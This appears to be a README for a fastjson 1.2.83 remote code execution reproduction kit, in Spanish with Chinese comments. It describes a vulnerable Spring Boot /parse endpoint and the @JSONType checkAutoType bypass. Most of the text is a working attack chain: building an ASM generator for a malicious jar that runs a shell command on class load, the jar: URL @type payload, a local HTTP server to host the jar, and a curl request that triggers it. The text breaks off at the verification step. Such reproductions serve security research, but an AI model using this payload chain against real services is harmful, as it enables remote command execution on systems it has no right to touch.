
Reproduce la RCE de fastjson 1.2.83 @JSONType con un objetivo Spring Boot vulnerable y un generador de payloads basado en ASM que utiliza cadenas jar mediante protocolo HTTP o de archivo.
@JSONType en fastjson 1.2.83
Proyecto de reproducción de carga remota de clases / ejecución de comandos en fastjson 1.2.66 ~ 1.2.83 mediante la anotación @JSONType + nombre de clase ilegal + protocolo jar:.
⚠️ Descargo de responsabilidad
Este proyecto se proporciona únicamente para investigación de seguridad, reproducción de vulnerabilidades y pruebas autorizadas. Queda estrictamente prohibido su uso en sistemas no autorizados, ataques ilegales o con fines malintencionados. El usuario es el único responsable de sus propias acciones; el autor no asume ninguna responsabilidad legal por ningún uso indebido.
Artículo de referencia para el análisis de la vulnerabilidad: https://mp.weixin.qq.com/s/_4Tnren1hIBToZvHlaKq8w
Este proyecto construye un entorno completo de reproducción de la vulnerabilidad fastjson 1.2.83 en torno a CVE-2026-16723:
demo/ —— Aplicación web Spring Boot 2.7.18 vulnerable (dependencia de fastjson 1.2.83), que expone el endpoint POST /parse y llama directamente a JSON.parse(json);exp/ —— Generador de jars de sonda maliciosa basado en ASM (dos variantes: protocolo HTTP / protocolo FILE);环境/ —— FatJars precompilados de tres middlewares (Tomcat / Jetty / Undertow), listos para usar.Idea clave de la explotación: mediante la construcción de un JSON especial cuyo @type es una URL jar, se consigue que fastjson recorra la rama de confianza de la anotación @JSONType → getResourceAsStream descarga el jar remoto/local → defineClass carga la clase maliciosa → la inicialización de la clase dispara <clinit> → ejecución arbitraria de comandos (RCE).
| Elemento | Descripción |
|---|---|
| CVE | CVE-2026-16723 |
| Componente | Alibaba fastjson |
| Versiones afectadas | 1.2.66 ~ 1.2.83 (la última versión de la serie 1.x sigue afectada) |
| Tipo de vulnerabilidad | Ejecución remota de código mediante deserialización (RCE) |
| Punto de entrada | JSON.parse(json) / JSON.parseObject(json) (sin especificar un tipo concreto) |
| Requisitos previos | Objetivo con Spring Boot FatJar, JDK 8, safeMode desactivado |
JSON.parse(json) o JSON.parseObject(json) para analizar directamente entradas no confiables, con una versión de fastjson entre 1.2.66 ~ 1.2.83 y safeMode desactivado;java -jar, LaunchedURLClassLoader; solo Spring Boot ≤ 2.7 conserva la capacidad de retroceso del handler del protocolo jar:);defineClass lanza ClassFormatError; como máximo solo se puede lograr SSRF);El checkAutoType de fastjson entra en la rama de confianza cuando encuentra una clase anotada con @JSONType, omitiendo la mayor parte de las validaciones de la lista negra y permitiendo su carga. Este proyecto aprovecha este punto usando ASM para escribir bytecode directamente, colocando un «nombre de clase interna ilegal» en el this_class del pool de constantes de la clase, de modo que los tres nombres quedan perfectamente alineados:
@type jar:http:..2130706433:19090.x!.y (点形态,无斜杠)
resource jar:http://2130706433:19090/x!/y.class (点 -> 斜杠)
this_class jar:http://2130706433:19090/x!/y (字节码内部类名)
Estructura de la clase maliciosa:
@JSONType —— la llave que abre la rama de confianza del checkAutoType de fastjson;<init>()V —— garantiza que fastjson pueda instanciar la clase con normalidad;<clinit> —— en la inicialización de la carga de la clase se ejecuta Runtime.exec(new String[]{"/bin/bash", "-c", "<cmd>"}), logrando la ejecución de comandos.Un nombre de clase ilegal no se puede escribir con
javac; solo ASM puede escribir la URL directamente en el pool de constantes — por eso el generador de este proyecto depende deasm-9.6.jar.
CVE-2026-16723_fastjson-jsontype漏洞/
├── 笔记.txt # 快速利用速查(http / file 协议两条命令)
├── demo/ # 漏洞靶场源码(Spring Boot 2.7.18 + fastjson 1.2.83)
│ └── src/main/java/com/example/demo/
│ ├── DemoApplication.java
│ └── controller/VulController.java # POST /parse -> JSON.parse(json)
├── exp/ # 恶意探针 jar 生成器
│ ├── GenProbeHttp.java # HTTP 协议链(jar:http)
│ ├── GenProbefile.java # FILE 协议链(jar:file)
│ └── asm-9.6.jar # ASM 字节码操作库
└── 环境/ # 预编译靶场 FatJar(开箱即用)
├── demo-0.0.1-SNAPSHOT.jar # Tomcat 中间件
├── demo-0.0.1-SNAPSHOT-jetty.jar # Jetty 中间件
├── demo-0.0.1-SNAPSHOT-Undertow.jar # Undertow 中间件
└── asm-9.6.jar
demo/src/main/java/com/example/demo/controller/VulController.java:
@PostMapping("/parse")
public String parse(@RequestBody String json) {
ParserConfig.getGlobalInstance().setAsmEnable(false);
ParserConfig.getGlobalInstance().setDefaultClassLoader(ParserConfig.class.getClassLoader());
JSON.parse(json); // 未指定类型,直接解析不可信输入
return "Parsed!";
}
El laboratorio debe ejecutarse en un entorno JDK 8 (coherente con las condiciones de explotación).
# 方式 A(推荐):直接使用预编译 FatJar,三种中间件任选
java -jar ../环境/demo-0.0.1-SNAPSHOT.jar # Tomcat
java -jar ../环境/demo-0.0.1-SNAPSHOT-jetty.jar # Jetty
java -jar ../环境/demo-0.0.1-SNAPSHOT-Undertow.jar # Undertow
# 方式 B:源码构建运行(默认 Tomcat,需本机安装 Maven)
cd demo
mvn spring-boot:run
Dirección del endpoint tras el arranque: http://127.0.0.1:8080/parse
cd exp
javac -cp asm-9.6.jar GenProbeHttp.java
java -cp asm-9.6.jar:. GenProbeHttp 19090 'open -a Calculator'
19090 —— Puerto HTTP de alojamiento del jar maliciosoopen -a Calculator —— Comando que se ejecutará en la máquina objetivo (abre la calculadora en macOS;
en Linux se puede usar id > /tmp/pwned 2>&1 para verificar si el archivo existe)Por defecto se genera el archivo x (sin extensión), que contiene y.class;
el payload es:
{"@type":"jar:http:..2130706433:19090.x!.y","x":1}
python3 -m http.server 19090
Asegúrate de que
python3 -m http.serverse inicie en el directorio donde se generó el archivox.
curl -X POST http://127.0.0.1:8080/parse \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:http:..2130706433:19090.x!.y","x":1}'
El resultado de la ejecución del comando no se refleja en la respuesta HTTP; hay que confirmarlo en la máquina objetivo: